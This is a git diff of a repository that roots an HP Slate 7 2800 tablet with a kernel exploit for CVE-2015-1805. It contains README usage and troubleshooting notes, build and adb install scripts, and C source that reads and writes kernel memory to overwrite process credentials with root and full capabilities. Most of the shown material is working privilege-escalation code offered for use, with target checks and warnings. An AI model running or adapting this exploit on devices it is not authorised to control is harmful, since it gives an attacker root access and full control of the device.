||||
|
||||
```text
|
||||
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
|
||||
```
|
||||
|
||||
## Using root
|
||||
|
||||
To run a single command:
|
||||
|
||||
```sh
|
||||
adb shell '/system/xbin/su -c id'
|
||||
adb shell '/system/xbin/su -c "ls -la /data"'
|
||||
```
|
||||
|
||||
`hp-slate7-su` is an intentionally minimal wrapper with no Android app,
|
||||
confirmation prompts, daemon, or permission log. Any local process capable of
|
||||
executing `/system/xbin/su` can potentially obtain root. Do not use this
|
||||
obsolete tablet for sensitive data after rooting it, and do not install
|
||||
untrusted APKs.
|
||||
|
||||
## Rebuilding from source
|
||||
|
||||
Specify the path to portable Zig 0.15.2, or add `zig` to `PATH`:
|
||||
|
||||
```sh
|
||||
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
|
||||
```
|
||||
|
||||
The output will be written to `build/`:
|
||||
|
||||
```text
|
||||
build/hp-slate7-cve-2015-1805-root
|
||||
build/hp-slate7-install-root
|
||||
build/hp-slate7-su
|
||||
```
|
||||
|
||||
Check the file formats:
|
||||
|
||||
```sh
|
||||
file build/hp-slate7-*
|
||||
```
|
||||
|
||||
All three files must be 32-bit ARM EABI5 ELF files. With the verified Zig
|
||||
0.15.2 version, the installer and `su` rebuild byte-for-byte identically to the
|
||||
files in `bin/`. The exploit hash may differ because of absolute paths in DWARF
|
||||
and linker metadata; its critical six-instruction trampoline was byte-for-byte
|
||||
identical in the verification build. A rebuild does not replace the checksums
|
||||
of the files in `bin/` that were actually run on the tablet.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### `unauthorized`
|
||||
|
||||
Unlock the screen and accept the USB debugging RSA key. If the prompt does not
|
||||
appear, reconnect the cable and run `adb devices -l` again.
|
||||
|
||||
### `offline` or the device disappears
|
||||
|
||||
Wait a few seconds and run `adb wait-for-device`. If the tablet has powered
|
||||
off, turn it on normally with the Power button. Do not run a second instance of
|
||||
the exploit concurrently.
|
||||
|
||||
### The exploit did not print `[+] Done`
|
||||
|
||||
The CVE is exploited through a race and may theoretically fail. Reboot the
|
||||
tablet before making a single retry. Do not run the binary in a loop: a failed
|
||||
race can crash the kernel.
|
||||
|
||||
### `su` exists, but the command exits with code 127
|
||||
|
||||
Verify the file's SHA-256 hash. An early research wrapper handled `argv`
|
||||
incorrectly on ARM and exited with code 127. This repository contains the
|
||||
corrected 656-byte version with SHA-256
|
||||
`40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e`.
|
||||
|
||||
### The HP logo remains on screen, but ADB is already available
|
||||
|
||||
Check Android's actual state:
|
||||
|
||||
```sh
|
||||
adb shell getprop sys.boot_completed
|
||||
adb shell dumpsys window windows
|
||||
```
|
||||
|
||||
`sys.boot_completed=1` means that Android has booted even if the physical
|
||||
display is still showing an old frame.
|
||||
|
||||
## What was tested and what was not used
|
||||
|
||||
Other well-known approaches were safely ruled out or found unsuitable on this
|
||||
device: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW,
|
||||
and PingPongRoot. Towelroot/CVE-2014-3153 crashed this kernel and must not be
|
||||
used. CVE-2014-7951 made it possible to write a file through ADB restore path
|
||||
traversal, but the HP firmware did not load `/data/local.prop`, so this method
|
||||
did not provide root.
|
||||
|
||||
The bootloader uses an old Rockchip loader and did not appear as a standard
|
||||
fastboot device. Flashing a recovery or unlocking the bootloader was not
|
||||
required for this result.
|
||||
|
||||
## Provenance and license
|
||||
|
||||
The exploit code is based on
|
||||
[`mobilelinux/iovy_root_research`](https://github.com/mobilelinux/iovy_root_research),
|
||||
commit `f945796`, which in turn references
|
||||
[`dosomder/iovyroot`](https://github.com/dosomder/iovyroot). Device-specific
|
||||
changes include reducing the thread count, fixing the timeout, using a naked
|
||||
ARM trampoline, restoring the syscall table early, validating `cred`, and
|
||||
disabling the inapplicable SELinux branch.
|
||||
|
||||
The original notices have been preserved. The repository is distributed under
|
||||
GPL-3.0; see `LICENSE` and `NOTICE`.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
Exploiting kernel memory always carries a risk of rebooting the device,
|
||||
corrupting the system, or losing data. This kit is intended only for an
|
||||
HP Slate 7 2800 that you own and whose firmware matches exactly. Back up any
|
||||
important data, and do not use it on devices belonging to other people.
|
||||
|
||||
---
|
||||
|
||||
Security research and documentation were completed with assistance from
|
||||
OpenAI Codex, powered by [GPT-5.6 Sol](https://developers.openai.com/api/docs/models/gpt-5.6-sol)
|
||||
with Daybreak Blue cybersecurity access.
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
|
||||
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
|
||||
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+47
@@ -0,0 +1,47 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
repo_root="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
output_dir="${OUTPUT_DIR:-$repo_root/build}"
|
||||
zig_bin="${ZIG_BIN:-zig}"
|
||||
|
||||
if ! command -v "$zig_bin" >/dev/null 2>&1; then
|
||||
echo "Zig not found. Set ZIG_BIN=/absolute/path/to/zig." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "$output_dir"
|
||||
echo "Using: $($zig_bin version)"
|
||||
|
||||
"$zig_bin" cc \
|
||||
-target arm-linux-musleabi \
|
||||
-static -O0 -marm -pthread -fno-stack-protector \
|
||||
-I"$repo_root/src/exploit/stub" \
|
||||
-I"$repo_root/src/exploit/common" \
|
||||
-I"$repo_root/src/exploit/expIov" \
|
||||
"$repo_root/src/exploit/root-main.c" \
|
||||
"$repo_root/src/exploit/expIov/iov_exp_main.c" \
|
||||
"$repo_root/src/exploit/common/kallsyms.c" \
|
||||
"$repo_root/src/exploit/common/exp_sys_call.c" \
|
||||
"$repo_root/src/exploit/common/getroot.c" \
|
||||
-o "$output_dir/hp-slate7-cve-2015-1805-root"
|
||||
|
||||
"$zig_bin" cc \
|
||||
-target arm-linux-musleabi \
|
||||
-static -Os -marm -s \
|
||||
"$repo_root/src/installer/install-root.c" \
|
||||
-o "$output_dir/hp-slate7-install-root"
|
||||
|
||||
"$zig_bin" cc \
|
||||
-target arm-linux-musleabi \
|
||||
-static -nostdlib -Wl,-e,_start -Wl,--build-id=none -s \
|
||||
"$repo_root/src/su/rootsh.S" \
|
||||
-o "$output_dir/hp-slate7-su"
|
||||
|
||||
chmod 755 "$output_dir"/hp-slate7-*
|
||||
|
||||
if command -v shasum >/dev/null 2>&1; then
|
||||
shasum -a 256 "$output_dir"/hp-slate7-*
|
||||
else
|
||||
sha256sum "$output_dir"/hp-slate7-*
|
||||
fi
|
||||
Executable
+32
@@ -0,0 +1,32 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
adb_bin="${ADB_BIN:-adb}"
|
||||
expected_fingerprint='hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys'
|
||||
expected_kernel='3.0.8+'
|
||||
serial="${1:-}"
|
||||
|
||||
if ! command -v "$adb_bin" >/dev/null 2>&1; then
|
||||
echo "adb not found. Set ADB_BIN=/absolute/path/to/adb." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
adb_args=()
|
||||
if [[ -n "$serial" ]]; then
|
||||
adb_args=(-s "$serial")
|
||||
fi
|
||||
|
||||
fingerprint="$($adb_bin "${adb_args[@]}" shell getprop ro.build.fingerprint | tr -d '\r')"
|
||||
kernel="$($adb_bin "${adb_args[@]}" shell cat /proc/sys/kernel/osrelease | tr -d '\r')"
|
||||
model="$($adb_bin "${adb_args[@]}" shell getprop ro.product.model | tr -d '\r')"
|
||||
sdk="$($adb_bin "${adb_args[@]}" shell getprop ro.build.version.sdk | tr -d '\r')"
|
||||
|
||||
printf 'Model: %s\nFingerprint: %s\nKernel: %s\nSDK: %s\n' \
|
||||
"$model" "$fingerprint" "$kernel" "$sdk"
|
||||
|
||||
if [[ "$fingerprint" != "$expected_fingerprint" || "$kernel" != "$expected_kernel" ]]; then
|
||||
echo "REFUSED: this target does not match the verified device." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
echo "Target matches the verified HP Slate 7 2800 firmware."
|
||||
Executable
+77
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
repo_root="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
adb_bin="${ADB_BIN:-adb}"
|
||||
serial=""
|
||||
assume_yes=0
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--serial)
|
||||
serial="$2"
|
||||
shift 2
|
||||
;;
|
||||
--yes)
|
||||
assume_yes=1
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
echo "Usage: $0 [--serial ADB_SERIAL] [--yes]" >&2
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
adb_args=()
|
||||
if [[ -n "$serial" ]]; then
|
||||
adb_args=(-s "$serial")
|
||||
fi
|
||||
|
||||
"$repo_root/scripts/check-target.sh" "$serial"
|
||||
|
||||
if command -v shasum >/dev/null 2>&1; then
|
||||
(cd "$repo_root" && shasum -a 256 -c SHA256SUMS)
|
||||
else
|
||||
(cd "$repo_root" && sha256sum -c SHA256SUMS)
|
||||
fi
|
||||
|
||||
if [[ "$assume_yes" != 1 ]]; then
|
||||
printf 'Type ROOT to run the kernel exploit on this tablet: '
|
||||
read -r confirmation
|
||||
[[ "$confirmation" == ROOT ]] || exit 3
|
||||
fi
|
||||
|
||||
"$adb_bin" "${adb_args[@]}" push \
|
||||
"$repo_root/bin/hp-slate7-cve-2015-1805-root" \
|
||||
/data/local/tmp/cve-2015-1805-root
|
||||
"$adb_bin" "${adb_args[@]}" push \
|
||||
"$repo_root/bin/hp-slate7-install-root" \
|
||||
/data/local/tmp/install-root
|
||||
"$adb_bin" "${adb_args[@]}" push \
|
||||
"$repo_root/bin/hp-slate7-su" \
|
||||
/data/local/tmp/rootsh-armv7
|
||||
|
||||
"$adb_bin" "${adb_args[@]}" shell \
|
||||
'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
|
||||
|
||||
set +e
|
||||
"$adb_bin" "${adb_args[@]}" shell \
|
||||
'/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
|
||||
exploit_rc=$?
|
||||
set -e
|
||||
|
||||
if [[ "$exploit_rc" != 0 ]]; then
|
||||
echo "Exploit did not complete cleanly. Reboot before any retry." >&2
|
||||
exit "$exploit_rc"
|
||||
fi
|
||||
|
||||
"$adb_bin" "${adb_args[@]}" wait-for-device
|
||||
root_id="$($adb_bin "${adb_args[@]}" shell '/system/xbin/su -c id' | tr -d '\r')"
|
||||
echo "$root_id"
|
||||
[[ "$root_id" == uid=0\(* ]] || {
|
||||
echo "Root verification failed." >&2
|
||||
exit 4
|
||||
}
|
||||
|
||||
echo "Root verified. See README.RU.md for cleanup and reboot verification."
|
||||
@@ -0,0 +1,83 @@
|
||||
#include <string.h>
|
||||
#include <memory.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#include <sys/prctl.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include "exp_sys_call.h"
|
||||
#include "kallsyms.h"
|
||||
#include "log.h"
|
||||
|
||||
unsigned long int exp_sys_call_address;
|
||||
|
||||
#define PR_GET_SECCOMP 21
|
||||
|
||||
int config_seccomp() {
|
||||
if (kallsyms_exist_sym("__audit_seccomp"))
|
||||
return 1;
|
||||
|
||||
int ret = prctl(PR_GET_SECCOMP, 0, 0, 0, 0);
|
||||
if (ret < 0) {
|
||||
switch (errno) {
|
||||
case ENOSYS:
|
||||
return 0;
|
||||
case EINVAL:
|
||||
return 0;
|
||||
default:
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
int config_oabi() {
|
||||
return kallsyms_exist_sym("sys_oabi_call_table");
|
||||
}
|
||||
|
||||
unsigned long get_sys_table_base_via_swi()
|
||||
{
|
||||
const void *swi_addr = (const void *)(uintptr_t)0xFFFF0008u;
|
||||
unsigned long vector_swi_offset = 0;
|
||||
unsigned long vector_swi_instruction = 0;
|
||||
unsigned long *vector_swi_addr_ptr = NULL;
|
||||
unsigned long offset = 0xC4;
|
||||
|
||||
memcpy(&vector_swi_instruction, swi_addr, sizeof(vector_swi_instruction));
|
||||
vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000fff;
|
||||
if (config_oabi()) {
|
||||
offset += 0x24;
|
||||
}
|
||||
if (config_seccomp()) {
|
||||
offset += 0x20;
|
||||
}
|
||||
vector_swi_addr_ptr = (unsigned long *)((unsigned long)swi_addr + vector_swi_offset + 8);
|
||||
LOGE("offset:%x\n", offset);
|
||||
LOGE("addr:%x\n", (*vector_swi_addr_ptr));
|
||||
return *vector_swi_addr_ptr + offset;
|
||||
}
|
||||
|
||||
unsigned long get_sys_table_base() {
|
||||
unsigned long syscall_base = (unsigned long)kallsyms_get_symbol_address("sys_call_table");
|
||||
if (syscall_base)
|
||||
return syscall_base;
|
||||
|
||||
return get_sys_table_base_via_swi();
|
||||
}
|
||||
|
||||
bool
|
||||
setup_exp_sys_call_address(void)
|
||||
{
|
||||
unsigned long sys_call_table = get_sys_table_base();
|
||||
|
||||
if (sys_call_table == 0)
|
||||
return false;
|
||||
|
||||
exp_sys_call_address = (unsigned long int)sys_call_table + __NR_exp_ * 4;
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
/*
|
||||
* Copyright (C) 2013 Hiroyuki Ikezoe
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
#ifndef _EXP_SYS_H_
|
||||
#define _EXP_SYS_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define __NR_exp_ 222
|
||||
|
||||
extern unsigned long int exp_sys_call_address;
|
||||
bool setup_exp_sys_call_address(void);
|
||||
unsigned long get_sys_table_base(void);
|
||||
|
||||
#endif /* _EXP_SYS_H_ */
|
||||
/*
|
||||
vi:ts=2:nowrap:ai:expandtab:sw=2
|
||||
*/
|
||||
@@ -0,0 +1,248 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <errno.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "threadinfo.h"
|
||||
#include "kallsyms.h"
|
||||
|
||||
#define __user
|
||||
#define __kernel
|
||||
|
||||
#define QUOTE(str) #str
|
||||
#define TOSTR(str) QUOTE(str)
|
||||
#define ASMMAGIC (0xBEEFDEAD)
|
||||
|
||||
int read_at_address_pipe(void* address, void* buf, ssize_t len)
|
||||
{
|
||||
int ret = 1;
|
||||
int pipes[2];
|
||||
|
||||
if(pipe(pipes))
|
||||
return 1;
|
||||
|
||||
if(write(pipes[1], address, len) != len)
|
||||
goto end;
|
||||
if(read(pipes[0], buf, len) != len)
|
||||
goto end;
|
||||
|
||||
ret = 0;
|
||||
end:
|
||||
close(pipes[1]);
|
||||
close(pipes[0]);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int write_at_address_pipe(void* address, void* buf, ssize_t len)
|
||||
{
|
||||
int ret = 1;
|
||||
int pipes[2];
|
||||
|
||||
if(pipe(pipes))
|
||||
return 1;
|
||||
|
||||
if(write(pipes[1], buf, len) != len)
|
||||
goto end;
|
||||
if(read(pipes[0], address, len) != len)
|
||||
goto end;
|
||||
|
||||
ret = 0;
|
||||
end:
|
||||
close(pipes[1]);
|
||||
close(pipes[0]);
|
||||
return ret;
|
||||
}
|
||||
|
||||
inline int writel_at_address_pipe(void* address, unsigned long val)
|
||||
{
|
||||
return write_at_address_pipe(address, &val, sizeof(val));
|
||||
}
|
||||
|
||||
static bool is_keyring_configed() {
|
||||
return kallsyms_exist_sym("keyring_read");
|
||||
}
|
||||
|
||||
#define KALLSYMS_RESTRICT "/proc/sys/kernel/kptr_restrict"
|
||||
|
||||
static int set_kallsyms_restrict(int state) {
|
||||
FILE *fd = fopen(KALLSYMS_RESTRICT, "w");
|
||||
int ret = -1;
|
||||
if(fd == NULL) {
|
||||
printf("open failed, ppid:%d, gid:%d,%s\n",getppid(), getgid(),strerror(errno));
|
||||
return ret;
|
||||
}
|
||||
|
||||
if (state == 0)
|
||||
if (fwrite("0", 1, 1, fd) != 1)
|
||||
goto fail;
|
||||
else if(state == 1)
|
||||
if (fwrite("2", 1, 1,fd) != 1)
|
||||
goto fail;
|
||||
|
||||
ret = 0;
|
||||
|
||||
fail:
|
||||
printf("set kall syms restrict ret:%d\n", ret);
|
||||
fclose(fd);
|
||||
return ret;
|
||||
}
|
||||
|
||||
static struct task_security_struct init_tss;
|
||||
|
||||
static unsigned int get_init_sid(void* info, int cred_offset) {
|
||||
unsigned int pid;
|
||||
unsigned int tgid;
|
||||
unsigned int ppid;
|
||||
unsigned int par_offset;
|
||||
unsigned int pid_offset;
|
||||
struct cred* __kernel cred = NULL;
|
||||
|
||||
unsigned int buff[0x100];
|
||||
unsigned int buff2[0x100];
|
||||
|
||||
|
||||
pid = syscall(__NR_gettid);
|
||||
tgid = getpgid(pid);
|
||||
ppid = getppid();
|
||||
unsigned int ptgid = getpgid(ppid);
|
||||
|
||||
if(read_at_address_pipe(info, &buff, 0x400)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
for(pid_offset=0; pid_offset < 0x100; pid_offset++) {
|
||||
if(buff[pid_offset] == pid && buff[pid_offset + 1]==tgid) {
|
||||
par_offset = pid_offset + 3;
|
||||
do {
|
||||
if (buff[par_offset] > KERNEL_START && !(buff[par_offset] & 0x3)) {
|
||||
if (read_at_address_pipe((void *)(uintptr_t)buff[par_offset], &buff2, 0x400)) {
|
||||
return 0;
|
||||
}
|
||||
if (buff2[pid_offset] == ppid) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
par_offset++;
|
||||
}while((par_offset - pid_offset) <=4);
|
||||
|
||||
if (par_offset - pid_offset > 4) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
while (ppid != 1) {
|
||||
if (read_at_address_pipe((void *)(uintptr_t)buff2[par_offset], &buff2, 0x400)) {
|
||||
return 0;
|
||||
}
|
||||
ppid = buff2[pid_offset];
|
||||
}
|
||||
|
||||
struct task_security_struct* __kernel security = NULL;
|
||||
cred = (struct cred *)(uintptr_t)buff2[cred_offset/4];
|
||||
read_at_address_pipe(&cred->security, &security, sizeof(security));
|
||||
if ((unsigned long)security < KERNEL_START)
|
||||
read_at_address_pipe(0x10 + &cred->security, &security, sizeof(security));
|
||||
|
||||
if ((unsigned long)security > KERNEL_START) {
|
||||
if(read_at_address_pipe(security, &init_tss, sizeof(init_tss)))
|
||||
return 0;
|
||||
return init_tss.sid;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int modify_task_cred_uc(struct thread_info* __kernel info)
|
||||
{
|
||||
unsigned int i;
|
||||
unsigned long val;
|
||||
struct cred* __kernel cred = NULL;
|
||||
uid_t process_uid = getuid();
|
||||
gid_t process_gid = getgid();
|
||||
struct thread_info ti;
|
||||
struct task_struct_partial* __user tsp;
|
||||
|
||||
if(read_at_address_pipe(info, &ti, sizeof(ti)))
|
||||
return 1;
|
||||
|
||||
tsp = malloc(sizeof(*tsp));
|
||||
if (!tsp)
|
||||
return -ENOMEM;
|
||||
|
||||
for(i = 0; i < 0x600; i+= sizeof(void*))
|
||||
{
|
||||
struct task_struct_partial* __kernel t = (struct task_struct_partial*)((void*)ti.task + i);
|
||||
if(read_at_address_pipe(t, tsp, sizeof(*tsp)))
|
||||
break;
|
||||
|
||||
if (is_cpu_timer_valid(&tsp->cpu_timers[0])
|
||||
&& is_cpu_timer_valid(&tsp->cpu_timers[1])
|
||||
&& is_cpu_timer_valid(&tsp->cpu_timers[2])
|
||||
&& tsp->real_cred == tsp->cred)
|
||||
{
|
||||
struct cred candidate;
|
||||
if ((unsigned long)tsp->cred >= KERNEL_START
|
||||
&& !((unsigned long)tsp->cred & 3)
|
||||
&& !read_at_address_pipe(tsp->cred, &candidate,
|
||||
offsetof(struct cred, jit_keyring))
|
||||
&& candidate.usage.counter > 0
|
||||
&& candidate.uid == process_uid
|
||||
&& candidate.gid == process_gid
|
||||
&& candidate.euid == process_uid
|
||||
&& candidate.egid == process_gid) {
|
||||
cred = tsp->cred;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
free(tsp);
|
||||
if(cred == NULL)
|
||||
return 1;
|
||||
|
||||
val = 0;
|
||||
write_at_address_pipe(&cred->uid, &val, sizeof(cred->uid));
|
||||
write_at_address_pipe(&cred->gid, &val, sizeof(cred->gid));
|
||||
write_at_address_pipe(&cred->suid, &val, sizeof(cred->suid));
|
||||
write_at_address_pipe(&cred->sgid, &val, sizeof(cred->sgid));
|
||||
write_at_address_pipe(&cred->euid, &val, sizeof(cred->euid));
|
||||
write_at_address_pipe(&cred->egid, &val, sizeof(cred->egid));
|
||||
write_at_address_pipe(&cred->fsuid, &val, sizeof(cred->fsuid));
|
||||
write_at_address_pipe(&cred->fsgid, &val, sizeof(cred->fsgid));
|
||||
|
||||
val = -1;
|
||||
write_at_address_pipe(&cred->cap_inheritable.cap[0], &val, sizeof(cred->cap_inheritable.cap[0]));
|
||||
write_at_address_pipe(&cred->cap_inheritable.cap[1], &val, sizeof(cred->cap_inheritable.cap[1]));
|
||||
write_at_address_pipe(&cred->cap_permitted.cap[0], &val, sizeof(cred->cap_permitted.cap[0]));
|
||||
write_at_address_pipe(&cred->cap_permitted.cap[1], &val, sizeof(cred->cap_permitted.cap[1]));
|
||||
write_at_address_pipe(&cred->cap_effective.cap[0], &val, sizeof(cred->cap_effective.cap[0]));
|
||||
write_at_address_pipe(&cred->cap_effective.cap[1], &val, sizeof(cred->cap_effective.cap[1]));
|
||||
write_at_address_pipe(&cred->cap_bset.cap[0], &val, sizeof(cred->cap_bset.cap[0]));
|
||||
write_at_address_pipe(&cred->cap_bset.cap[1], &val, sizeof(cred->cap_bset.cap[1]));
|
||||
|
||||
// if (!is_selinux()) {
|
||||
// return 0;
|
||||
// }
|
||||
|
||||
/* HP's rk30_t7h_dvt_defconfig has CONFIG_SECURITY disabled. */
|
||||
|
||||
// set_kallsyms_restrict(0);
|
||||
// {
|
||||
// int zero = 0;
|
||||
// int selinux_enabled = kallsyms_get_symbol_address("selinux_enabled");
|
||||
// int selinux_enforcing = kallsyms_get_symbol_address("selinux_enforcing");
|
||||
// printf("%x,%x\n", selinux_enabled, selinux_enforcing );
|
||||
// if(selinux_enabled)
|
||||
// write_at_address_pipe(selinux_enabled, &zero, sizeof(zero));
|
||||
// if(selinux_enforcing)
|
||||
// write_at_address_pipe(selinux_enforcing, &zero, sizeof(zero));
|
||||
// }
|
||||
// set_kallsyms_restrict(1);
|
||||
end:
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#ifndef GETROOT_H
|
||||
#define GETROOT_H
|
||||
|
||||
#include "threadinfo.h"
|
||||
|
||||
int read_at_address_pipe(void* address, void* buf, ssize_t len);
|
||||
int write_at_address_pipe(void* address, void* buf, ssize_t len);
|
||||
inline int writel_at_address_pipe(void* address, unsigned long val);
|
||||
int modify_task_cred_uc(struct thread_info* info);
|
||||
|
||||
#endif /* GETROOT_H */
|
||||
@@ -0,0 +1,83 @@
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include "kallsyms.h"
|
||||
|
||||
bool
|
||||
kallsyms_exist(void)
|
||||
{
|
||||
struct stat st;
|
||||
|
||||
if (stat("/proc/kallsyms", &st) < 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (st.st_mode & S_IROTH) {
|
||||
return kallsyms_get_symbol_address("_stext") != 0;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool kallsyms_exist_sym(const char *symbol_name)
|
||||
{
|
||||
FILE *fp;
|
||||
char function[BUFSIZ];
|
||||
char symbol;
|
||||
void *address;
|
||||
int ret;
|
||||
|
||||
fp = fopen("/proc/kallsyms", "r");
|
||||
if (!fp) {
|
||||
return false;
|
||||
}
|
||||
|
||||
while(!feof(fp)) {
|
||||
ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
|
||||
if (ret != 3) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (!strcmp(function, symbol_name)) {
|
||||
fclose(fp);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void *
|
||||
kallsyms_get_symbol_address(const char *symbol_name)
|
||||
{
|
||||
FILE *fp;
|
||||
char function[BUFSIZ];
|
||||
char symbol;
|
||||
void *address;
|
||||
int ret;
|
||||
|
||||
fp = fopen("/proc/kallsyms", "r");
|
||||
if (!fp) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
while(!feof(fp)) {
|
||||
ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
|
||||
if (ret != 3) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (!strcmp(function, symbol_name)) {
|
||||
fclose(fp);
|
||||
return address;
|
||||
}
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
/*
|
||||
* Copyright (C) 2013 Hiroyuki Ikezoe
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
#ifndef KALLSYMS_H
|
||||
#define KALLSYMS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
bool kallsyms_exist(void);
|
||||
void *kallsyms_get_symbol_address(const char *symbol_name);
|
||||
bool kallsyms_exist_sym(const char *symbol_name);
|
||||
|
||||
#endif /* KALLSYMS_H */
|
||||
/*
|
||||
vi:ts=2:nowrap:ai:expandtab:sw=2
|
||||
*/
|
||||
@@ -0,0 +1,46 @@
|
||||
/******************************************************************************
|
||||
*
|
||||
* AUTHOR
|
||||
* lihouchen <lihouchen@handscape.com.cn>
|
||||
*
|
||||
*****************************************************************************/
|
||||
#ifndef _LOG_H
|
||||
#define _LOG_H
|
||||
|
||||
#include <android/log.h>
|
||||
|
||||
// #define SHOW_DETAIL_STEP 1
|
||||
|
||||
#define DEBUG
|
||||
// #define ANDROID_LOG 1
|
||||
|
||||
#ifndef LOG_TAG
|
||||
#define LOG_TAG "zroot"
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef DEBUG
|
||||
#ifdef ANDROID_LOG
|
||||
#define LOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
|
||||
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG , LOG_TAG, __VA_ARGS__)
|
||||
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO , LOG_TAG, __VA_ARGS__)
|
||||
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN , LOG_TAG, __VA_ARGS__)
|
||||
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR , LOG_TAG, __VA_ARGS__)
|
||||
#else // #ifdef ANDROID_LOG
|
||||
#define LOGV(...) printf(__VA_ARGS__)
|
||||
#define LOGD(...) printf(__VA_ARGS__)
|
||||
#define LOGI(...) printf(__VA_ARGS__)
|
||||
#define LOGW(...) printf(__VA_ARGS__)
|
||||
#define LOGE(...) printf(__VA_ARGS__)
|
||||
#endif // #ifdef ANDROID_LOG
|
||||
#else // #ifdef DEBUG
|
||||
#define LOGV(...)
|
||||
#define LOGD(...)
|
||||
#define LOGI(...)
|
||||
#define LOGW(...)
|
||||
#define LOGE(...)
|
||||
#endif // #ifdef DEBUG
|
||||
|
||||
//char logbuff[256];
|
||||
|
||||
#endif // _LOG_H
|
||||
@@ -0,0 +1,124 @@
|
||||
#ifndef THREADINFO_H
|
||||
